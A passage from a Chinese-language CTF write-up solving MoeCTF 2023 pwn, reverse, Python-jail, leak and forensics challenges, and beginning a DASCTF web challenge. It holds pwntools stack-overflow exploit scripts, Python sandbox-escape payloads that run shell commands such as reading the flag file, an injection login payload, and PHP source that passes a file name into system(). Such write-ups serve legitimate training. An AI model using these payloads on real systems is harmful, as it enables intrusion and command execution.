通过计算可以得到 `-114514` 的补码为 `4294852782` ，通过输入后交互即可得到 flag 如下

```
moectf{DE9AMxUIxA7q0JTWqPK_cg-yyklcF71U}
```

### ret2text\_32

> Desc：一道最基础的32位栈溢出题OvO

下载附件使用 IDA 打开后对 main 进行反编译可以得到以下内容

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  vuln();
  return 0;
}

ssize_t vuln()
{
  size_t nbytes; // [esp+Ch] [ebp-5Ch] BYREF
  char buf[84]; // [esp+10h] [ebp-58h] BYREF

  puts("Welcome to my stack in MoeCTF2023!");
  puts("What's your age?");
  __isoc99_scanf("%d", &nbytes);
  puts("Now..try to overflow!");
  return read(0, buf, nbytes);
}
```

通过查看 vuln 函数的栈如下

```
-00000068 db ? ; undefined
-00000067 db ? ; undefined
-00000066 db ? ; undefined
-00000065 db ? ; undefined
-00000064 db ? ; undefined
-00000063 db ? ; undefined
-00000062 db ? ; undefined
-00000061 db ? ; undefined
-00000060 db ? ; undefined
-0000005F db ? ; undefined
-0000005E db ? ; undefined
-0000005D db ? ; undefined
-0000005C nbytes dd ?
-00000058 buf db 84 dup(?)
-00000004 var_4 dd ?
+00000000  s db 4 dup(?)
+00000004  r db 4 dup(?)
```

因此需要用其他字符填充满 0x58+0x4 ，然后开始找地址。

> <https://blog.csdn.net/Morphy\\_Amo/article/details/121757953?ydreferer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8%3D>
>
> 第一种，溢出后的返回地址是system的地址，也就是plt表中system的地址
>
> ```python
> system_addr = 0x08048320
> binsh_addr = 0x0804a024
> payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(0)  + p32(binsh_addr)
> ```
>
> 第二种，溢出后的返回地址是call system的地址，这是程序中出现过的调用system的地址
>
> ```python
> system_addr = 0x08048320
> binsh_addr = 0x0804a024
> payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(binsh_addr)
> ```

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FmaulAyW3IPxaSlrDEj4C%2Fret2text_32-1.png?alt=media&amp;token=08692fab-9f6f-4cf7-b410-1d98a190fef5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FtG6Y9VsF6tn0VTH9zJ8F%2Fret2text_32-2.png?alt=media&amp;token=661f07a4-8696-4e66-a717-e8897eda1c7f" alt=""><figcaption></figcaption></figure>

通过查找可以找到 call system 的地址 `0x080492A9` 还有 /bin/sh 的地址 `0x0804C02C` ，寻找过程中可以使用 `Shift+F12` 通过 Strings 来找挺方便。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FBnYIF2IuKRDgnfaqC2lD%2Fret2text_32-3.png?alt=media&amp;token=7a410448-852d-4ba7-b204-82a0f2f4a1fa" alt=""><figcaption></figcaption></figure>

找出地址后就开始写脚本力，如下

```python
from pwn import *

sh = remote('localhost', 42107)

sh.sendline(b'999')
backdoor_addr = 0x804928c
system_addr = 0x080492A9
binsh_addr = 0x0804C02C

payload = b'a' * (0x58 + 0x4) + p32(system_addr) + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
```

`nbytes` 参数表示要读取的最大字节数，设置大点就行，然后通过栈溢出就能得到 sh 了。

之后就是通过 `ls` 和 `cat` 来获取 flag 了，过程如下

```python
[x] Opening connection to localhost on port 42107
[x] Opening connection to localhost on port 42107: Trying ::1
[x] Opening connection to localhost on port 42107: Trying 127.0.0.1
[+] Opening connection to localhost on port 42107: Done
[*] Switching to interactive mode
Welcome to my stack in MoeCTF2023!
What's your age?
Now..try to overflow!
ls
bin
flag
lib
lib32
lib64
libexec
libx32
pwn
cat /flag
moectf{9-BDI0PdSAud86ZZ2ygFIbDZQp2Bzxrz}
```

### ret2text\_64

> <https://xz.aliyun.com/t/12645>

这道题的原理是通过覆盖函数的返回地址，通过 `pop rdi; ret` 可以将栈顶的值弹出到寄存器 `rdi` 中，并跳转到返回地址 `system_addr` ，以 `rdi` 寄存器的内容作为参数执行恶意命令。

下载附件使用 IDA 打开后对 main 进行反编译可以得到以下内容

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  vuln();
  return 0;
}

ssize_t vuln()
{
  int v1; // [rsp+Ch] [rbp-54h] BYREF
  char buf[80]; // [rsp+10h] [rbp-50h] BYREF

  puts("Welcome to my stack in MoeCTF2023!");
  puts("But this time..you need to find the point to get it!");
  puts("What's your age?");
  __isoc99_scanf("%d", &v1);
  puts("Now..try to overflow!");
  return read(0, buf, v1);
}
```

通过查看 vuln 函数的栈如下

```
-0000000000000060 db ? ; undefined
-000000000000005F db ? ; undefined
-000000000000005E db ? ; undefined
-000000000000005D db ? ; undefined
-000000000000005C db ? ; undefined
-000000000000005B db ? ; undefined
-000000000000005A db ? ; undefined
-0000000000000059 db ? ; undefined
-0000000000000058 db ? ; undefined
-0000000000000057 db ? ; undefined
-0000000000000056 db ? ; undefined
-0000000000000055 db ? ; undefined
-0000000000000054 var_54 dd ?
-0000000000000050 buf db 80 dup(?)
+0000000000000000  s db 8 dup(?)
+0000000000000008  r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
```

可以得出需要覆盖 `0x50+0x8` 的地址，并且通过 IDA 可以得到以下信息（通过 Functions 和 Strings）

```python
backdoor_addr = 0x00000000004012A5
system_addr = 0x00000000004012B7
binsh_addr = 0x0000000000404050
```

通过以下命令可以得到 `pop rdi ; ret` 的地址

```bash
$ ROPgadget --binary "pwn" --only "pop|ret"
Gadgets information
============================================================
0x000000000040119d : pop rbp ; ret
0x00000000004011be : pop rdi ; ret
0x000000000040101a : ret
```

通过编写以下脚本即可执行获得 Shell

```python
from pwn import *

sh = remote('localhost', 36289)

sh.sendline(b'999')
backdoor_addr = 0x00000000004012A5
system_addr = 0x00000000004012B7
binsh_addr = 0x0000000000404050
pop_rdi_ret_addr = 0x00000000004011be

payload = b'a' * (0x58) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload)
sh.interactive()
"""
[x] Opening connection to localhost on port 36289: Trying 127.0.0.1
[+] Opening connection to localhost on port 36289: Done
[*] Switching to interactive mode
Welcome to my stack in MoeCTF2023!
But this time..you need to find the point to get it!
What's your age?
Now..try to overflow!
cat /flag
moectf{tCyXQ6HLJk83Iutmn5MVW2x0h-6ZF7p3}
"""
```

## Reverse

### 入门指北

使用 IDA 打开即可得到 flag

moectf{F1rst\_St3p\_1s\_D0ne}

### base\_64

> <https://tool.lu/pyc/>

先进行反编译，反编译后得到以下代码

```python
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7

import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = input('welcome to moectf\ninput your flag and I wiil check it:')
enc_flag = base64.b64encode(flag.encode()).decode()
enc_flag = enc_flag.translate(str.maketrans(string2, string1))
if enc_flag == str1:
    print('good job!!!!')
else:
    print('something wrong???')
    exit(0)
```

将 `str1` 放入 CyberChef 并修改字符集 `string1` 即可得到 flag `moectf{pYc_And_Base64~}`。

### Xor

用 IDA 打开点击 `main` 按 `F5` ，双点 `enc` 可以得到 `enc` 的内容如下

```python
enc = [0x54, 0x56, 0x5C, 0x5A, 0x4D, 0x5F, 0x42, 0x60, 0x56, 0x4C, 0x66, 0x52, 0x57, 0x09, 0x4E, 0x66, 0x51, 0x09, 0x4E, 0x66, 0x4D, 0x09, 0x66, 0x61, 0x09, 0x6B, 0x18, 0x44]
```

通过分析 `main` 函数可以得知将 `enc` 的每个与 `0x39` 进行异或即可得到 flag，编写脚本如下

```python
enc = [0x54, 0x56, 0x5C, 0x5A, 0x4D, 0x5F, 0x42, 0x60, 0x56, 0x4C, 0x66, 0x52, 0x57, 0x09, 0x4E, 0x66, 0x51, 0x09, 0x4E, 0x66, 0x4D, 0x09, 0x66, 0x61, 0x09, 0x6B, 0x18, 0x44]
for i in enc:
    print(chr(i ^ 0x39), end='')
# moectf{You_kn0w_h0w_t0_X0R!}
```

### UPX!

```bash
$ upx 1.exe -d
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   1263104 <-    270336   21.40%    win64/pe     1.exe

Unpacked 1 file.
```

用 IDA 打开后对着 `Functions` 按 `Shift+F12` ，可以找到以下内容

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FR2khnfKc4yygXaMBRi7g%2FUPX!-1.png?alt=media&amp;token=a55fb3d5-968a-4e41-889d-7b1ea5216543" alt=""><figcaption></figcaption></figure>

通过点击 `welcome to moectf` 并进行反编译可以得到以下内容

```c
__int64 sub_140079760()
{
  char *v0; // rdi
  __int64 i; // rcx
  unsigned __int64 v2; // rax
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF
  char v5; // [rsp+20h] [rbp+0h] BYREF
  char v6[76]; // [rsp+28h] [rbp+8h] BYREF
  int j; // [rsp+74h] [rbp+54h]
  unsigned __int64 v8; // [rsp+148h] [rbp+128h]

  v0 = &v5;
  for ( i = 34i64; i; --i )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  sub_140075557(&unk_1401A7008);
  sub_140073581("welcome to moectf");
  sub_140073581("I put a shell on my program to prevent you from reversing it, you will never be able to reverse it hhhh~~");
  sub_140073581("Now tell me your flag:");
  memset(v6, 0, 0x2Aui64);
  sub_1400727F8("%s", v6);
  for ( j = 0; ; ++j )
  {
    v8 = j;
    v2 = sub_140073829((__int64)v6);
    if ( v8 >= v2 )
      break;
    v6[j] ^= 0x67u;
    if ( word_140196000[j] != v6[j] )
    {
      sub_140073973("try again~~");
      sub_1400723F7(0i64);
    }
  }
  sub_140073973("you are so clever!");
  sub_140074BCF(v4, &unk_140162070);
  return 0i64;
}
```

在 `word_140196000` 可以找到 enc ，对 enc 异或 `0x67` 再转字符串就可以得到 flag 了。

```python
enc = [0x0A, 0x08, 0x02, 0x04, 0x13, 0x01, 0x1C, 0x57, 0x0F, 0x38, 0x1E, 0x57, 0x12, 0x38, 0x2C, 0x09, 0x57, 0x10, 0x38, 0x2F, 0x57, 0x10, 0x38, 0x13, 0x08, 0x38, 0x35, 0x02, 0x11, 0x54, 0x15, 0x14, 0x02, 0x38, 0x32, 0x37, 0x3F, 0x46, 0x46, 0x46, 0x1A]
for i in enc:
    print(chr(i ^ 0x67), end='')
# moectf{0h_y0u_Kn0w_H0w_to_Rev3rse_UPX!!!}
```

## AI

### EZ MLP

矩阵乘法不满足交换律，改变矩阵乘法顺序即可，即将下述函数

```python
def fc(x, weight, bias):
    return np.matmul(x, weight) + bias
```

修改成

```python
def fc(x, weight, bias):
    return np.matmul(weight, x) + bias
```

即可得到 flag 如下

```
moectf{fR13NdsHlP_15_M491C!}
```

## Jail

### Jail Level 0

Payload 如下。

```python
__import__('os').popen("ls").read()
__import__('os').popen("cat flag").read()
```

### Jail Level 1

```bash
$ nc localhost 38223

  __  __  ___        _____        _        _                _                         _                _ __ 
 |  \/  |/ _ \      / ____| ____ | |      | |              (_)                       | |              | /_ |
 | \  / | | | | ___| |     / __ \| | ___  | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| || |
 | |\/| | | | |/ _ \ |    / / _` | |/ __| | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ || |
 | |  | | |_| |  __/ |___| | (_| | | (__  | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ || |
 |_|  |_|\___/ \___|\_____\ \__,_|_|\___| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_||_|
                           \____/                      __/ |                                                
                                                      |___/                                                 
                                   

| Options: 
|       [G]et Challenge Source Code 
|       [E]nter into Challenge 
|       [C]hallenge Description 
|       [Q]uit 

>>> e
Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.
Enter your expression and I will evaluate it for you.
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) n
Answer result: None
> /home/ctf/server.py(57)<module>()->None
-> while(1):
(Pdb) step
> /home/ctf/server.py(58)<module>()->None
-> choice = input(">>> ").lower().strip()
(Pdb) step
>>> e
--Call--
> /usr/lib/python3.10/codecs.py(319)decode()
-> def decode(self, input, final=False):
(Pdb) n
> /usr/lib/python3.10/codecs.py(321)decode()
-> data = self.buffer + input
(Pdb) n
> /usr/lib/python3.10/codecs.py(322)decode()
-> (result, consumed) = self._buffer_decode(data, self.errors, final)
(Pdb) n
> /usr/lib/python3.10/codecs.py(324)decode()
-> self.buffer = data[consumed:]
(Pdb) n
> /usr/lib/python3.10/codecs.py(325)decode()
-> return result
(Pdb) n
--Return--
> /usr/lib/python3.10/codecs.py(325)decode()->'e\n'
-> return result
(Pdb) n
> /home/ctf/server.py(59)<module>()->None
-> if choice == 'g':
(Pdb) n
> /home/ctf/server.py(61)<module>()->None
-> elif choice == 'e':
(Pdb) n
> /home/ctf/server.py(62)<module>()->None
-> print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
(Pdb) n
Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.
> /home/ctf/server.py(63)<module>()->None
-> print("Enter your expression and I will evaluate it for you.")
(Pdb) n
Enter your expression and I will evaluate it for you.
> /home/ctf/server.py(64)<module>()->None
-> user_input_data = input("> ")
(Pdb) n
> 123
> /home/ctf/server.py(65)<module>()->None
-> if len(user_input_data)>12:
(Pdb) n
> /home/ctf/server.py(68)<module>()->None
-> print('Answer result: {}'.format(eval(user_input_data)))
(Pdb) list
 63         print("Enter your expression and I will evaluate it for you.")
 64         user_input_data = input("> ")
 65         if len(user_input_data)>12:
 66           print("Oh hacker! Bye~")
 67           exit(0)
 68  ->     print('Answer result: {}'.format(eval(user_input_data)))
 69       elif choice == "c":
 70         print(CHALLENGE_DESCRIPT)
 71         user_input_hint_choice = input("If you still don't know how to solve it,do you need some hint? (y/n) > ").lower().strip()
 72         if user_input_hint_choice == 'y':
 73           print(CHALLENGE_HINT_FOR_BEGINNER)
(Pdb) user_input_data
'123'
(Pdb) user_input_data = __import__('os').popen("ls").read()
(Pdb) user_input_data
'flag\nserver.py\n'
(Pdb) user_input_data = __import__('os').popen("cat flag").read()
(Pdb) user_input_data
'flag{DUMQ8uLCx-cQZ_tU1XwRb-l-KQX4UtgX}\n'
```

### Jail Level 2

```bash
└─$ nc localhost 32965

  __  __  ___        _____        _        _                _                         _                _ ___  
 |  \/  |/ _ \      / ____| ____ | |      | |              (_)                       | |              | |__ \ 
 | \  / | | | | ___| |     / __ \| | ___  | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| |  ) |
 | |\/| | | | |/ _ \ |    / / _` | |/ __| | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / / 
 | |  | | |_| |  __/ |___| | (_| | | (__  | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ |/ /_ 
 |_|  |_|\___/ \___|\_____\ \__,_|_|\___| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|____|
                           \____/                      __/ |                                                  
                                                      |___/                                                                                                                         

| Options: 
|       [G]et Challenge Source Code 
|       [E]nter into Challenge 
|       [C]hallenge Description 
|       [Q]uit 

>>> e
Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.
Enter your expression and I will evaluate it for you.
> help()

Welcome to Python 3.10's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the internet at https://docs.python.org/3.10/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules.  To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics".  Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help> sys
WARNING: terminal is not fully functional
Press RETURN to continue 

Help on built-in module sys:

NAME
    sys

MODULE REFERENCE
    https://docs.python.org/3.10/library/sys.html
    
    The following documentation is automatically generated from the Python
    source files.  It may be incomplete, incorrect or include features that
    are considered implementation detail and may vary between Python
    implementations.  When in doubt, consult the module reference at the
    location listed above.

DESCRIPTION
    This module provides access to some objects used or maintained by the
    interpreter and to functions that interact strongly with the interpreter.
    
    Dynamic objects:
    
    argv -- command line arguments; argv[0] is the script pathname if known
    path -- module search path; path[0] is the script directory, else ''
    modules -- dictionary of loaded modules
:!cat flag
!cat flag
flag{KIRPkrnZkNDtjegM0zX_BTMxaHRSmCS_}
```

### Jail Level 3

原理就是使用 unicode 字符替换

```bash
$ nc localhost 44925

  __  __  ___        _____        _        _                _                         _                _ ____  
 |  \/  |/ _ \      / ____| ____ | |      | |              (_)                       | |              | |___ \ 
 | \  / | | | | ___| |     / __ \| | ___  | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| | __) |
 | |\/| | | | |/ _ \ |    / / _` | |/ __| | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ ||__ < 
 | |  | | |_| |  __/ |___| | (_| | | (__  | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ |___) |
 |_|  |_|\___/ \___|\_____\ \__,_|_|\___| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|____/ 
                           \____/                      __/ |                                                   
                                                      |___/                                                                                                                                                        

| Options: 
|       [G]et Challenge Source Code 
|       [E]nter into Challenge 
|       [C]hallenge Description 
|       [Q]uit 

>>> e
Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.
Enter your expression and I will evaluate it for you.
> ｂｒｅａｋｐｏｉｎｔ()

--Return--
> <string>(1)<module>()->None
(Pdb) (Pdb) __import__('os').popen("cat flag").read()
'flag{l03mUnupxd415eg0AL3K12ZNKoc89V5v}\n'
(Pdb)
```

### Jail Level 4

```bash
$ nc localhost 44975

  __  __  ___        _____        _        _                _                         _                _ _  _   
 |  \/  |/ _ \      / ____| ____ | |      | |              (_)                       | |              | | || |  
 | \  / | | | | ___| |     / __ \| | ___  | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| | || |_ 
 | |\/| | | | |/ _ \ |    / / _` | |/ __| | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |__   _|
 | |  | | |_| |  __/ |___| | (_| | | (__  | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ |  | |  
 |_|  |_|\___/ \___|\_____\ \__,_|_|\___| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|  |_|  
                           \____/                      __/ |                                                    
                                                      |___/                                                                                                                         

Welcome to the MoeCTF2023 Jail challenge.This is a repeater and it repeats what you say!
python verison:2.7
> __import__('os').popen("ls").read()
flag
server.py

> __import__('os').popen("cat flag").read()
flag{x4GaMhUw6NWF6LnebbaOmZbCA5sa6z19}
```

### Leak Level 0

源码如下

```python
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("""
| Options:
| [V]uln
| [B]ackdoor
""")


def func_filter(s):
    not_allowed = set('vvvveeee')
    return any(c in not_allowed for c in s)


while (1):
    challenge_choice = input(">>> ").lower().strip()
    if challenge_choice == 'v':
        code = input("code >> ")
        if (len(code) > 9):
            print("you're hacker!")
            exit(0)
        if func_filter(code):
            print("Oh hacker! byte~")
            exit(0)
        print(eval(code))
    elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if (key == fake_key_into_local_but_valid_key_into_remote):
            print("Hey Admin,please input your code:")
            code = input("backdoor >> ")
            print(eval(code))
    else:
        print("You should select valid choice!")
```

通过环境变量获取 `key` 后即可进入后门

```bash
$ nc localhost 42189

  __  __  ___       _      ______        _  __  _                _  ___  
 |  \/  |/ _ \     | |    |  ____| ____ | |/ / | |              | |/ _ \ 
 | \  / | | | | ___| |    | |__   / __ \| ' /  | | _____   _____| | | | |
 | |\/| | | | |/ _ \ |    |  __| / / _` |  <   | |/ _ \ \ / / _ \ | | | |
 | |  | | |_| |  __/ |____| |___| | (_| | . \  | |  __/\ V /  __/ | |_| |
 |_|  |_|\___/ \___|______|______\ \__,_|_|\_\ |_|\___| \_/ \___|_|\___/ 
                                  \____/                                 
                                                                                                                                      

| Options: 
|       [G]et Challenge Source Code 
|       [E]nter into Challenge 
|       [Q]uit 

>>> e
Hey Guys,Welcome to the moeleak challenge.Have fun!.
| Options: 
|       [V]uln 
|       [B]ackdoor
>>> v
you need to 
code >> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fdd249f8ac0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_6366a131649a4e9b': '4e86eda06366a131649a4e9be1a9f217', 'WELCOME': "\n  __  __  ___       _      ______        _  __  _                _  ___  \n |  \\/  |/ _ \\     | |    |  ____| ____ | |/ / | |              | |/ _ \\ \n | \\  / | | | | ___| |    | |__   / __ \\| ' /  | | _____   _____| | | | |\n | |\\/| | | | |/ _ \\ |    |  __| / / _` |  <   | |/ _ \\ \\ / / _ \\ | | | |\n | |  | | |_| |  __/ |____| |___| | (_| | . \\  | |  __/\\ V /  __/ | |_| |\n |_|  |_|\\___/ \\___|______|______\\ \\__,_|_|\\_\\ |_|\\___| \\_/ \\___|_|\\___/ \n                                  \\____/                                 \n                                                                                                                                      \n", 'CHALLENGE_SOURCE_CODE': '\n    fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"\n    print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")\n    print("| Options: \n|\t[V]uln \n|\t[B]ackdoor")\n    def func_filter(s):\n      not_allowed = set(\'vvvveeee\')\n      return any(c in not_allowed for c in s)\n    while(1):\n      challenge_choice = input(">>> ").lower().strip()\n      if challenge_choice == \'v\':\n        code = input("code >> ")\n        if(len(code)>9):\n          print("you\'re hacker!")\n          exit(0)\n        if func_filter(code):\n          print("Oh hacker! byte~")\n          exit(0)\n        print(eval(code))\n      elif challenge_choice == \'b\':\n        print("Please enter the admin key")\n        key = input("key >> ")\n        if(key == fake_key_into_local_but_valid_key_into_remote):\n          print("Hey Admin,please input your code:")\n          code = input("backdoor >> ")\n          print(eval(code))\n      else:\n        print("You should select valid choice!")\n', 'choice': 'e', 'func_filter': <function func_filter at 0x7fdd24a5a0e0>, 'challenge_choice': 'v', 'code': 'globals()'}
>>> b
Please enter the admin key
key >> 4e86eda06366a131649a4e9be1a9f217
Hey Admin,please input your code:
backdoor> __import__('os').popen("cat flag").read()
flag{mURoRhoWJnbjMQYhgP5SsPbHTGr9LKrF}
```

### Leak Level 1

源码如下

```python
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")


def func_filter(s):
    not_allowed = set('moe_dbt')
    return any(c in not_allowed for c in s)


print("""| Options: 
|       [V]uln 
|       [B]ackdoor
""")
while 1:
    challenge_choice = input(">>> ").lower().strip()
    if challenge_choice == 'v':
        code = input("code >> ")
        if len(code) > 6:
            print("you're hacker!")
            exit(0)
        if func_filter(code):
            print("Oh hacker! byte~")
            exit(0)
        print(eval(code))
    elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if key == fake_key_into_local_but_vailed_key_into_remote:
            print("Hey Admin,please input your code:")
            code = input("backdoor >> ")
            print(eval(code))
    else:
        print("You should select valid choice!")
```

通过 unicode 字符可以进入 `help()`

```bash
>>> v
you need to 
code >> ｈｅｌｐ()
```

> 第一次 help() 中查看 server 时，环境变为 server.py，此时可以查看变量
>
> <https://jbnrz.com.cn/index.php/2023/06/08/pyjail/>

进入 `help()` 后输入 `server` ，弹出来后重复一次操作即可查看到环境变量得到 key

```bash
help> server
Help on module server:

NAME
    server

FUNCTIONS
    func_filter(s)

DATA
    CHALLENGE_SOURCE_CODE = '\n    fake_key_into_local_but_valid_key_into_...
    WELCOME = '\n  __  __  ___       _      ______        _  __ ...       ...
    challenge_choice = 'v'
    choice = 'e'
    code = 'ｈｅｌｐ()'
    key_ff8457ee50ed8d0f = '8d3d451fff8457ee50ed8d0f24881eac'

FILE
    /home/ctf/server.py
```

通过获得的 key 进入后门就可以得到 flag 了。

```bash
>>> b
Please enter the admin key
key >> 8d3d451fff8457ee50ed8d0f24881eac
Hey Admin,please input your code:
backdoor> __import__('os').popen("cat flag").read()
flag{Z-91DMdRije6usQPk9OuAoUiHt2JWr3Y}
```

### Leak Level 2

过滤字符改了，直接按照第一关的方法一把梭，过程如下

```
v -> help() -> server -> v -> help() -> server
```

```bash
help> server
Help on module server:

NAME
    server

FUNCTIONS
    func_filter(s)

DATA
    CHALLENGE_SOURCE_CODE = '\n    fake_key_into_local_but_valid_key_into_...
    WELCOME = '\n  __  __  ___       _      ______        _  __ ...       ...
    challenge_choice = 'v'
    choice = 'e'
    code = 'help()'
    key_f5ee1754b2e73acf = '43610e2ef5ee1754b2e73acf35348dd5'

FILE
    /home/ctf/server.py
```

通过获得的 key 进入后门就可以得到 flag 了。

```bash
>>> e
Hey Guys,Welcome to the moeleak challenge.Have fun!.
| Options: 
|       [V]uln 
|       [B]ackdoor
>>> b
Please enter the admin key
key >> 43610e2ef5ee1754b2e73acf35348dd5
Hey Admin,please input your code:
backdoor> __import__('os').popen("cat flag").read()
flag{HXHecX6W7L0ewe6_xCFjWE8h6-uysGsb}
```

## Forensics

### 随身携带的虚拟机

用 VMware 创一个 Windows 10 64位的虚拟机，载入 `MoeCTF_Forensics_1.vmdk` ，在回收站可以找到 `BitLocker Recovery Key 4DFEE901-55AC-43EB-96F4-FFE09609952A` ，里面则是 D 盘的恢复密钥，解开后可以得到 `flag.txt` ，内容如下

```
bW9lY3Rme0JhczFjX0QxNWtfRjByM25zMWNzIX0=
```

通过 base64 解密即可得到 flag 如下

```
moectf{Bas1c_D15k_F0r3ns1cs!}
```

### 坚持访问的浏览器

通过描述中的浏览器以及附件中出现的 `.mozilla` 把目标瞄准向 `firefox` ，`.mozilla/firefox/profiles.ini` 是 Firefox 的配置目录，保存了用户配置文件信息，内容如下

```ini
[Profile1]
Name=default
IsRelative=1
Path=b2vuwvgy.default
Default=1

[Profile0]
Name=default-esr
IsRelative=1
Path=1xp3jsq0.default-esr

[General]
StartWithLastProfile=1
Version=2

[Install3B6073811A6ABF12]
Default=1xp3jsq0.default-esr
Locked=1
```

可以找到默认用户的配置文件存储在 `./1xp3jsq0.default-esr` 中，题目中提到**坚持访问**那就从历史记录下手，`./1xp3jsq0.default-esr/places.sqlite` 保存的就是浏览器的**历史记录和书签信息**。通过访问这个数据库就可以找到历史记录，通过下列语句查询 `moz_places` 表可以得到历史记录

```sql
 select * from moz_places
```

在其中可以找到一个链接，即 <https://hymint.space/\\~koito/> ，通过访问即可得到 flag 如下

```
moectf{Th15_iS_d3f1ni7e1y_1Ast_0NE_30a13cfb8426e919ecd4c5627cde4fa4}
```


# DASCTF Jul.2023

## Web

### MyPicDisk

#### 0x00 获取源代码

先随意构造一个 Payload 如下

```
admin' 1=1#
```

可以得到回显如下（alert 弹窗）

```
登录成功!
you are not admin!!!!!
```

把 JavaScript 禁止后，查看源代码如下

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<script>alert('you are not admin!!!!!');</script><script>location.href='/index.php';</script><!-- /y0u_cant_find_1t.zip -->
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片：<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  </body>
</html>
```

可以得到文件 `./y0u_cant_find_1t.zip` ，文件内 `index.php` 内容如下

```php
<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
  echo '
<form method="POST">
    username：<input type="text" name="username"></p>
    password：<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
